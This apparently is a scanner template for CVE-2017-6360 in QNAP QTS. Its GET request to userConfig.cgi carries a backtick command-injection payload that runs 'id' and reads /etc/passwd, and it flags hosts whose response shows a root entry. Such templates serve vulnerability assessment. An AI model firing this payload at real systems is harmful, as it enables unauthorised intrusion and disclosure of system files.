id: CVE-2017-6360 info: name: QNAP QTS RCE risk: Critical params: - root: '{{.BaseURL}}' variables: - endpoint: | cgi-bin/userConfig.cgi requests: - method: GET url: >- {{.root}}/{{.endpoint}}?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;cat%20/etc/passwd)>%262` headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 detections: - >- StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") references: - https://www.cvebase.com/cve/2017/6360